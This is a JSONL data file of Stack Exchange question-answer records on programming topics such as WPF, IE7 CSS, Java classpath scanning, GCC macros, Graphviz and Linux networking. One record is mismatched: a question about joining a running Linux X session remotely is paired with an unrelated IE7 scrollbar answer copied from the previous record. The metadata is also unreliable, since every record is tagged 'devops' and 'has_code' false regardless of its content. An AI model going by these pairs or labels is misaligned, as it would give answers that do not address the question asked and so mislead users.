{"id": "hf_fe1c231294d8", "question": "<p>I guess this is a multi-part question.</p>\n\n<p>I can import a 3D model into my WPF application but how do I apply an ambient occlusion shader effect to it? \nI know with .NET 3.5 SP1 you can do custom effects but that's limited to pixel shaders and doesn't include vertex shaders.</p>\n\n<p>I think i can do this with an XNA application but Im not familiar with XNA so the second question is:\nHow much different is WPF and XNA? I don't seem to have any notion of XAML in XNA. How much ramp up would moving from WPF to XNA take?</p>\n\n<p>Thanks,\nChris</p>\n", "question_body": "", "answer": "To answer your second question:\nWPF and XNA are completely different.  They do share the following:\nBuilt upon .net\nUse DirectX\nCan access hardware acceleration of the video card\nXNA does not have any GUI support built in and is really aimed at games (for PC and XBOX-360) whilst WPF is usable in business style applications.  As you've discovered XNA does not have any XAML support, indeed it is mainly an abstract .net wrapper for DirectX.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.491168"}
{"id": "hf_3a071c4836d3", "question": "<p>Is there any way to change the entire width of the horizontal scroll bar on a scrolling div (including the nudge arrows and the handle).</p>\n\n<p>EDIT: I only need an IE7 solution - it's for a scrolling DIV on a touch screen terminal</p>\n\n<p>Thanks</p>\n\n<p>Matt</p>\n", "question_body": "", "answer": "Actually, I revise my statement...\nin IE7\n, you\nCAN\ndo some scaling.\n```\n```\n<div style=\"zoom:5;font-size:20%;overflow-x:auto;\">\n  Hello World!       Hello World!       Hello World!       Hello World!       Hello World!       Hello World!       Hello World!\n</div>\n```\n```\nzoom tells IE to scale up the contents by 500%, and I've set the font-size to be 1/5 of normal (thus remain the same)... this scales the scrollbars (but it looks a bit ugly at this zoom, since the images are raster based, not vector based.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.548274"}
{"id": "hf_5e82932ca24d", "question": "<p>Use case:</p>\n\n<ol>\n<li>A does something on his box and gots stuck. He asks B (remote) for support.</li>\n<li>B logs into the session of A, sees all windows, A was seeing and is able to manipulate the GUI.</li>\n</ol>\n\n<p>If A uses Windows it is very convenient to log into a running session e.g. via VNC. But if A uses Linux, AFAIK, this is not possible. Using VNC requires a \"vncserver\"-session, which is a separate session. You could get screen captures from remote by querying the X-server, but you cannot press buttons on the screen.</p>\n\n<p>Is there some workaround for this?</p>\n", "question_body": "", "answer": "Actually, I revise my statement...\nin IE7\n, you\nCAN\ndo some scaling.\n```\n```\n<div style=\"zoom:5;font-size:20%;overflow-x:auto;\">\n  Hello World!       Hello World!       Hello World!       Hello World!       Hello World!       Hello World!       Hello World!\n</div>\n```\n```\nzoom tells IE to scale up the contents by 500%, and I've set the font-size to be 1/5 of normal (thus remain the same)... this scales the scrollbars (but it looks a bit ugly at this zoom, since the images are raster based, not vector based.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.571481"}
{"id": "hf_2a96e07fef2f", "question": "<p>How do I search the whole classpath for an annotated class?</p>\n<p>I'm doing a library and I want to allow the users to annotate their classes, so when the Web application starts I need to scan the whole classpath for certain annotation.</p>\n<p>I'm thinking about something like the new functionality for Java EE 5 Web Services or EJB's. You annotate your class with <code>@WebService</code> or <code>@EJB</code> and the system finds these classes while loading so they are accessible remotely.</p>\n", "question_body": "", "answer": "The Classloader API doesn't have an \"enumerate\" method, because class loading is an \"on-demand\" activity -- you usually have thousands of classes in your classpath, only a fraction of which will ever be needed (the rt.jar alone is 48MB nowadays!).\nSo, even if you\ncould\nenumerate all classes, this would be very time- and memory-consuming.\nThe simple approach is to list the concerned classes in a setup file (xml or whatever suits your fancy); if you want to do this automatically, restrict yourself to one JAR or one class directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.595050"}
{"id": "hf_4ac1be99a5df", "question": "<p>I have seen bind and eval used interchangeably especially in ASP.NET GridViews. What is the difference?</p>\n", "question_body": "", "answer": "Eval is one-way, read only databinding.\nBind is two-way, read/write databinding.\nSee\nhere\nand\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.617966"}
{"id": "hf_2760eb498a0d", "question": "<p>I'm currently using a UIImageView with an array of images to create a small looping animation sequence with about 20 images in there (at 320x480). Whilst this works okay for 20 - 30 images, any more and the app quits on the iphone. There is nothing else in my test app at the moment so I know it's just down to the animationImages sequence.</p>\n\n<p>Has anyone come across any samples of doing this type of thing through Core Animation to achieve better performance and allow many more images? From what I've read it sounds like its possible to set up a ton of CALayers and put an image in each, and then create the animation by manipulating the layers on and off in sequence. Is this a good way to do it?</p>\n\n<p>Or, alternatively, as I'm basically after the effect of a looping movie, is there a way to use the moviecontroller to achieve the effect without it fading in and out at the start and at the end?</p>\n\n<p>I'd be grateful for any pointers. Many thanks.</p>\n", "question_body": "", "answer": "This could be a simple memory issue. 20 images (320x480) is about 3 MB of memory, assuming 8bpp (if they're higher color, obviously even more). You might try loading and unloading as needed (though, of course, that'll mean rolling your own animation, rather than using UIImageView).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.663512"}
{"id": "hf_678830d889d7", "question": "<p>I am trying to find an algorithm to count from 0 to 2<sup>n</sup>-1 but their bit pattern reversed. I care about only n LSB of a word. As you may have guessed I failed.</p>\n\n<p>For n=3: </p>\n\n<pre><code>000 -&gt; 0\n100 -&gt; 4\n010 -&gt; 2\n110 -&gt; 6\n001 -&gt; 1\n101 -&gt; 5\n011 -&gt; 3\n111 -&gt; 7\n</code></pre>\n\n<p>You get the idea.</p>\n\n<p>Answers in pseudo-code is great. Code fragments in any language are welcome, answers without bit operations are preferred.</p>\n\n<p>Please don't just post a fragment without even a short explanation or a pointer to a source.</p>\n\n<p>Edit: I forgot to add, I already have a naive implementation which just bit-reverses a count variable. In a sense, this method is not really counting.</p>\n", "question_body": "", "answer": "This solution was originally in binary and converted to conventional math as the requester specified.\nIt would make more sense as binary, at least the multiply by 2 and divide by 2 should be << 1 and >> 1 for speed, the additions and subtractions probably don't matter one way or the other.\nIf you pass in mask instead of nBits, and use bitshifting instead of multiplying or dividing, and change the tail recursion to a loop, this will probably be the most performant solution you'll find since every other call it will be nothing but a single add, it would only be as slow as Alnitak's solution once every  4, maybe even 8 calls.\n```\n```\nint incrementBizarre(int initial, int nBits)\n    // in the 3 bit example, this should create 100\n    mask=2^(nBits-1)\n    // This should only return true if the first (least significant) bit is not set\n    // if initial is 011 and mask is 100\n    //                3               4, bit is not set\n    if(initial < mask)\n        // If it was not, just set it and bail.\n        return initial+ mask // 011 (3) + 100 (4) = 111 (7)\n    else\n        // it was set, are we at the most significant bit yet?\n        // mask 100 (4) / 2 = 010 (2), 001/2 = 0 indicating overflow\n        if(mask / 2) > 0\n            // No, we were't, so unset it (initial-mask) and increment the next bit\n            return incrementBizarre(initial - mask, mask/2)\n        else\n            // Whoops we were at the most significant bit.  Error condition\n            throw new OverflowedMyBitsException()\n```\n```\nWow, that turned out kinda cool.  I didn't figure in the recursion until the last second there.\nIt feels wrong--like there are some operations that should not work, but they do because of the nature of what you are doing (like it feels like you should get into trouble when you are operating on a bit and some bits to the left are non-zero, but it turns out you can't ever be operating on a bit unless all the bits to the left are zero--which is a very strange condition, but true.\nExample of flow to get from 110 to 001 (backwards 3 to backwards 4):\n```\n```\nmask 100 (4), initial 110 (6); initial < mask=false; initial-mask = 010 (2), now try on the next bit\nmask 010 (2), initial 010 (2); initial < mask=false; initial-mask = 000 (0), now inc the next bit\nmask 001 (1), initial 000 (0); initial < mask=true;  initial + mask = 001--correct answer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.743660"}
{"id": "hf_ff26e090d8ec", "question": "<p>How do I run a function on a loop so all the results go straight into a list and is there a way to run a function which acts on all the values in a list?</p>\n", "question_body": "", "answer": "This example shows how to do it (run it in an interpreter)\n```\n```\n>>> def square(x):\n...  return x*x\n...\n>>> a = [1,2,3,4,5,6,7,8,9]\n\n>>> map(square,a)\n[1, 4, 9, 16, 25, 36, 49, 64, 81]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.790542"}
{"id": "hf_0e9f5f21d9a0", "question": "<p>I'm just getting back into C++ after a couple of years of doing a lot of C#, and recently Objective C.</p>\n\n<p>One thing I've done before is to roll my own iterator adapter for std::map that will deref to just the value part, rather than the key-value pair. This is quite a common and natural thing to do. C# provides this facility with its Keys and Values properties of its Dictionary class. Objective-C's NSDictionary, similarly, has allKeys and allValues.</p>\n\n<p>Since I've been \"away\", Boost has acquired the Range and ForEach libraries, which I am now using extensively. I wondered if between the two there was some facility to do the same, but I haven't been able to find anything.</p>\n\n<p>I'm thinking of knocking something up using Boost's iterator adapters, but before I go down that route I thought I'd ask here if anyone knows of such a facility in Boost, or somewhere else ready made?</p>\n", "question_body": "", "answer": "I don't think there's anything out of the box.  You can use boost::make_transform.\n```\n```\ntemplate<typename T1, typename T2> T2& take_second(const std::pair<T1, T2> &a_pair) \n{\n  return a_pair.second;\n}\n\nvoid run_map_value()\n{\n  map<int,string> a_map;\n  a_map[0] = \"zero\";\n  a_map[1] = \"one\";\n  a_map[2] = \"two\";\n  copy( boost::make_transform_iterator(a_map.begin(), take_second<int, string>),\n    boost::make_transform_iterator(a_map.end(), take_second<int, string>),\n    ostream_iterator<string>(cout, \"\\n\")\n    );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.813829"}
{"id": "hf_db430d74887f", "question": "<p>I would like to include a different file depending on the version of GCC. More precisely I want to write:</p>\n\n<pre><code>#if GCC_VERSION &gt;= 4.2\n#  include &lt;unordered_map&gt;\n#  define EXT std\n#elif GCC_VERSION &gt;= 4\n#  include &lt;tr1/unordered_map&gt;\n#  define EXT std\n#else\n#  include &lt;ext/hash_map&gt;\n#  define unordered_map __gnu_cxx::hash_map\n#  define EXT __gnu_cxx\n#endif\n</code></pre>\n\n<p>I don't care about gcc before 3.2.</p>\n\n<p>I am pretty sure there is a variable defined at preprocessing time for that, I just can't find it again.</p>\n", "question_body": "", "answer": "There are a number of macros that should be defined for your needs:\n```\n```\n__GNUC__              // major\n__GNUC_MINOR__        // minor\n__GNUC_PATCHLEVEL__   // patch\n```\n```\nThe version format is major.minor.patch, e.g. 4.0.2\nThe documentation for these can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.837039"}
{"id": "hf_23f941fd6bbf", "question": "<p>What are the API calls to copy a file that is currently locked.  I'm hoping to be able to use .Net, but Win32 calls would be fine as well.  </p>\n\n<p>Please feel free to chime in about the same functionality on Unix, or any other OS.</p>\n", "question_body": "", "answer": "Almost the same as my answer to\nanother question\n:\nIf you are on Win32, the official way to do it is to mark it to be moved on reboot, and ask the user to reboot. To mark the file to be moved on reboot, use\n```\nMoveFileEx\n```\nwith the\n```\nMOVEFILE_DELAY_UNTIL_REBOOT\n```\nflag.\nIt's the same function, only this time you don't pass NULL as the destination.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.860181"}
{"id": "hf_9bcdcbe0e68f", "question": "<p>I have a loop that reads each line in a file using <code>getline()</code>:</p>\n\n<pre><code>istream is;\nstring line;\nwhile (!getline(is, line).eof())\n{\n    // ...\n}\n</code></pre>\n\n<p>I noticed that calling <code>getline()</code> like this also seems to work:</p>\n\n<pre><code>while (getline(is, line))\n</code></pre>\n\n<p>What's going on here? <code>getline()</code> returns a stream reference. Is it being converted to a pointer somehow? Is this actually a good practice or should I stick to the first form?</p>\n", "question_body": "", "answer": "Updated:\nI had mistakenly pointed to the\nbasic_istream documentation\nfor the operator bool() method on the basic_istream::sentry class, but as has been pointed out this is not actually what's happening.  I've voted up Charles and Luc's correct answers.  It's actually operator void*() that's getting called.  More on this\nin the C++ FAQ\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.884287"}
{"id": "hf_b5b7542266c7", "question": "<p><a href=\"http://biochrom.fivesite.co.uk/catalogue4.asp\" rel=\"nofollow noreferrer\">http://biochrom.fivesite.co.uk/catalogue4.asp</a></p>\n\n<p>On the page above there is an image floated to the left. To the right of it is a list, titled \"features\". The list items have a background image, however, it isn't appearing. List 2 shows how the background image looks.</p>\n\n<p>Does anyone know how I can make the bullets visible?</p>\n", "question_body": "", "answer": "Your image has a float:left property. The list items are therefore rendered \"behind\" the image.\n```\n```\nmargin-left:200px;\n```\n```\non the UL element will solve your problem.\nAlternatively, you can apply a float:left on your UL-element. This will make it float right to the image, but will make the following content appear on the same line. You can prevent this by\nclearing the UL-element\n, or adding element after the UL-element with...\n```\n```\nclear:both\n```\n```\n...applied to it.\nMore information about this behaviour can be found at\nhttp://www.positioniseverything.net/easyclearing.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.918452"}
{"id": "hf_44c47cb7c88b", "question": "<p>WPF's view model oriented way of doing things makes it very tempting to just use business objects in the UI. Have you seen any issues with this? Why or why wouldn't you do this?</p>\n", "question_body": "", "answer": "Not being a WPF guru, I can't be sure, but the usual reason for separating your M, V and C is so you can test the controller independent of the view, and the other way around.\nNothing stopping you, of course, but it should be a lot more testable (ie, unit tests) if it's separate. The MVP pattern, which is usually the one that MS promotes, is more geared around the presenter (ie, your WPF form) having more control, and thats fine too....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.944822"}
{"id": "hf_66a4f1fa2488", "question": "<p>I am working in Visual Studio 2008 on an ASP.NET application, which has been deployed to a test server.  I would like to make a build without debug information to place in production, but the configuration manager only shows \"Debug\" in the configuration dropdown for my project.</p>\n\n<p>My other Visual Studio projects show \"Debug\", \"Release\", \"New...\", and \"Edit...\".</p>\n\n<p>Why do I not see a release option, or the new and edit commands?</p>\n", "question_body": "", "answer": "The Configuration Manager for the Solution allows you to delete either (or both) of these default build configurations (through the Edit... option you mention above). I would bet that someone deleted the Release configuration.\nYou can get it back by recreating it, or copy the appropriate lines from a solution you make from scratch real quick. A file diff shows the following:\nDefault solution file:\n```\n```\nGlobalSection(SolutionConfigurationPlatforms) = preSolution\n    Debug|Any CPU = Debug|Any CPU\n    Release|Any CPU = Release|Any CPU\nEndGlobalSection\nGlobalSection(ProjectConfigurationPlatforms) = postSolution\n    {EDD50911-B94E-49A4-A08B-A2E91228A04B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n    {EDD50911-B94E-49A4-A08B-A2E91228A04B}.Debug|Any CPU.Build.0 = Debug|Any CPU\n    {EDD50911-B94E-49A4-A08B-A2E91228A04B}.Release|Any CPU.ActiveCfg = Release|Any CPU\n    {EDD50911-B94E-49A4-A08B-A2E91228A04B}.Release|Any CPU.Build.0 = Release|Any CPU\nEndGlobalSection\n```\n```\nSolution after I manually deleted the Release configuration:\n```\n```\nGlobalSection(SolutionConfigurationPlatforms) = preSolution\n    Debug|Any CPU = Debug|Any CPU\nEndGlobalSection\nGlobalSection(ProjectConfigurationPlatforms) = postSolution\n    {EDD50911-B94E-49A4-A08B-A2E91228A04B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n    {EDD50911-B94E-49A4-A08B-A2E91228A04B}.Debug|Any CPU.Build.0 = Debug|Any CPU\nEndGlobalSection\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.990544"}
{"id": "hf_a8815b42167f", "question": "<p>Hey I have a windows server running python CGI scripts and I'm having a little trouble with smtplib. The server is running python 2.1 (unfortunately and I can not upgrade it). Anyway I have the following code:</p>\n<pre><code>session = smtplib.SMTP(&quot;smtp-auth.ourhosting.com&quot;, 587)\nsession.login(smtpuser, smtppass)\n</code></pre>\n<p>and it's giving me this error:</p>\n<pre><code>exceptions.AttributeError :  SMTP instance has no attribute 'login' :  &lt;traceback object at 006BB1D0&gt;\n</code></pre>\n<p>I'm assuming this is because the <code>login()</code> method was added after python 2.1. so how do I fix this?</p>\n<p>I have to either add the module by uploading the files to the same directory as the cgi script (though I believe smtplib is written in C and needs to be compiled which we can't do on this server)</p>\n<p>OR</p>\n<p>Do it whatever way is expected by the libsmtp in python 2.1.</p>\n", "question_body": "", "answer": "Do it whatever way is expected by the libsmtp in python 2.1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.013755"}
{"id": "hf_aca844f38c38", "question": "<p>I'm still learning Grails and seem to have hit a stumbling block.</p>\n\n<p><strong>Here are the 2 domain classes:</strong></p>\n\n<pre><code>class Photo {\n    byte[] file \n\n    static belongsTo = Profile\n}\n\n\nclass Profile {\n    String fullName\n    Set photos\n\n    static hasMany = [photos:Photo]     \n}\n</code></pre>\n\n<p><strong>The relevant controller snippet:</strong>   </p>\n\n<pre><code>class PhotoController {\n\n    def viewImage = {\n\n      def photo = Photo.get( params.id )\n      byte[] image = photo.file \n      response.outputStream &lt;&lt; image\n\n    } \n} \n</code></pre>\n\n<p><strong>Finally the GSP snippet:</strong></p>\n\n<pre><code>&lt;img class=\"Photo\" src=\"${createLink(controller:'photo', action:'viewImage', id:'profileInstance.photos.get(1).id')}\" /&gt;\n</code></pre>\n\n<p>Now how do I access the photo so that it will be shown on the GSP? I'm pretty sure that \n<code>profileInstance.photos.get(1).id</code> is not correct.</p>\n", "question_body": "", "answer": "As it is a Set, if you want the first element, you will have to go:\n```\n```\nprofileInstance.photos.toArray()[0].id\n```\n```\nor\n```\n```\nprofileInstance.photos.iterator().next()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.040970"}
{"id": "hf_716a3ca8a520", "question": "<p>Say I'm mapping a simple object to a table that contains duplicate records and I want to allow duplicates in my code.  I don't need to update/insert/delete on this table, only display the records.</p>\n\n<p>Is there a way that I can put a fake (generated) ID column in my mapping file to trick NHibernate into thinking the rows are unique?  Creating a composite key won't work because there could be duplicates across all of the columns.</p>\n\n<p>If this isn't possible, what is the best way to get around this issue?</p>\n\n<p>Thanks!</p>\n\n<p>Edit:  Query seemed to be the way to go</p>\n", "question_body": "", "answer": "The NHibernate mapping makes the assumption that you're going to want to save changes, hence the requirement for an ID of some kind.\nIf you're allowed to modify the table, you could add an identity column (SQL Server naming - your database may differ) to autogenerate unique Ids - existing code should be unaffected.\nIf you're allowed to add to the database, but not to the table, you could try defining a view that includes a RowNumber synthetic (calculated) column, and using that as the data source to load from. Depending on your database vendor (and the products handling of views and indexes) this\nmay\nface some performance issues.\nThe other alternative, which I've not tried, would be to map your class to a SQL query instead of a table. IIRC, NHibernate supports having named SQL queries in the mapping file, and you can use those as the \"data source\" instead of a table or view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.067850"}
{"id": "hf_c1a7f0744050", "question": "<p>I've been adding css support for <strong>handheld</strong> to my website but haven't been able to find a good tool for testing. </p>\n\n<p>I tried using the webdeveloper plugin for Firefox but it doesn't work for me. Maybe that is because all my css is in the html and not a seperate css file.</p>\n\n<p>Are there any other testing tools available aside from going out and buying a handheld device?</p>\n", "question_body": "", "answer": "If you have Visual Studio, there should be device emulators which let you test mobile IE, or they can be found standalone on Microsoft's site.\nHere are some for WM 5\n.  There is an\nOpenWave simulator\navailable to test that browser.\nBlackberry simulators\nare available as well, to test the Blackberry browser.  You can (kind of) test iPhone support with Safari, although you can't verify the viewport meta-tag.  There's an\nOpera Mini simulator\nhere.\nAlso, get your CSS out of your HTML :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.091385"}
{"id": "hf_2e8b5a548d50", "question": "<p>Is there any way to reboot the JVM?  As in don't actually exit, but close and reload all classes, and run main from the top?</p>\n", "question_body": "", "answer": "AFAIK there is no such way.\nNotice that if there were a way to do that, it would highly depend on the current loaded code to properly release all held resources in order to provide a graceful restart (think about files, socket/tcp/http/database connections, threads, etc).\nSome applications, like Jboss AS, capture Ctrl+C on the console and provide a graceful shutdown, closing all resources, but this is application-specific code and not a JVM feature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.114743"}
{"id": "hf_63002deb0592", "question": "<p>Is there a substitute in emacs for the vi \"gf\" command?\nmeaning try to open the file which is under the cursor right now\nif a real file name is in fact there.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You want the\n```\nfind-file-at-point\n```\nfunction (which is also aliased to\n```\nffap\n```\n).  It's not bound to a key by default, but you can use\n```\n```\nM-x ffap\n```\n```\nOr, you can put in your\n```\n.emacs\n```\nfile:\n```\n```\n(ffap-bindings)\n```\n```\nThis will replace many of the normal\n```\nfind-file\n```\nkey bindings (like\n```\nC-x C-f\n```\n) with\n```\nffap\n```\n-based versions.  See the commentary in\n```\nffap.el\n```\nfor details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.137781"}
{"id": "hf_f1d17a836dc5", "question": "<p>How can I change the <strong>background color</strong> of a <strong>Tab Control</strong>.  I changed the forms color, but the tabs stay the same.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Check the Back Style of the Tab Control. If it's Normal. you'll get a gray background (with normal Windows settings). If it's Transparent then it will inherit the background colour of the form.\nIf you want it to be an entirely different colour, you might have to add a rectangle to the form (make the background non-transparent), maximise it within the tab and then set the colour of the rectangle.\nAs for the tabs them selves, I don't see a way of setting their colour independently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.219238"}
{"id": "hf_be64d5dc85da", "question": "<p>On a Linux box, the common interface names look like eth0, eth1, etc. I know how to find at least one IP address using <code>gethostbyname</code> or similar functions, but I don't know any way to specify which named interface I want the IP address of. I could use ifconfig and parse the output, but shelling out for this information seems... inelegant.</p>\n\n<p>Is there a way to, say, enumerate all the interfaces and their IP addresses (and maybe MAC addresses) into a collection? Or at least something along the lines of <code>gethostbyinterface(\"eth0\")</code>?</p>\n", "question_body": "", "answer": "edit:\nI saw you don't like shelling. Then you can look at how ifconfig does its job (it extracts at least some information from /proc).\nWhen you have interface name, you can do this (in your shell):\n```\n```\nifconfig eth0 | grep 'inet addr' | sed -e 's/:/ /' | awk '{print $3}'\n```\n```\nTo enumerate interfaces you can use this:\n```\n```\nifconfig | egrep '^[^ ]' | awk '{print $1}'\n```\n```\nCombined:\n```\n```\nfor x in `ifconfig | egrep '^[^ ]' | awk '{print $1}'`; do\n  echo -n \"${x}\"\n  echo -n \"    \"\n  ifconfig \"${x}\" | grep 'inet addr' | sed -e 's/:/ /' | awk '{print $3}'\ndone\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.242339"}
{"id": "hf_21db424d0657", "question": "<p>Sometimes while developing in Visual Studio IDE, when you use \"Find in Files\"  dialog to find something, the search fails and you will see the following message in the \"Find Results\" window. </p>\n\n<blockquote>\n  <p>No files were found to look in. Find stopped progress</p>\n</blockquote>\n\n<p>Once this message shows up, all the subsequent searches will result in the same message. Nothing fixes the problem including restarting the computer except pressing <kbd>Ctrl</kbd> + <kbd>ScrLk</kbd>. </p>\n\n<p>What causes Visual Studio to get into this state and is there a setting to permanently prevent it from happening?</p>\n", "question_body": "", "answer": "I don't think there is anything you can do to prevent it.\nIt seems to occur after I have stopped a build with CTRL+Break...Maybe I am pressing CTRL+Scroll Lock during that time???\nI have only had it happen to me 2-3 times, and that was several months apart.\nWhat he is saying is that occasionally when performing a search within Visual Studio you get the mentioned error message. Even though you know there is stuff to find. It is some weird state that Visual Studio gets into. If you press the (CTRL+Scroll Lock) it will 'fix' the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.277548"}
{"id": "hf_e5b59190965d", "question": "<p>When I changed the rankdir of my graph from LR to TD, my record nodes also changed their layout direction so they no longer look like a 'record'. I tried applying a separate rankdir to the nodes, but this had no effect.</p>\n\n<p>How does one keep the record nodes with the correct layout?</p>\n\n<pre><code>digraph sample { \n  graph [rankdir=TD];\n  node [shape=record];\n\n  A [label=\"ShouldBeTop | ShouldBeBottom\"];\n  B [label=\"Top | Bottom\"];\n  A -&gt; B;\n}\n</code></pre>\n", "question_body": "", "answer": "Taking into account that rankdir effectively replaces the notion of \"top\" and \"bottom\" for the given graph, that's not surprising.\nI am afraid that there is no easy remedy for this, save hacking the source (and that would not be easy at all). You can surround your labels in \"{}\" with some kind of mass search-replace solution to get the requested effect:\n```\n```\ndigraph sample { graph [rankdir=TD]; node [shape=record];\n\nA [label=\"{ShouldBeTop | ShouldBeBottom}\"]; \nB [label=\"{Top | Bottom}\"]; A -> B; \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.312883"}
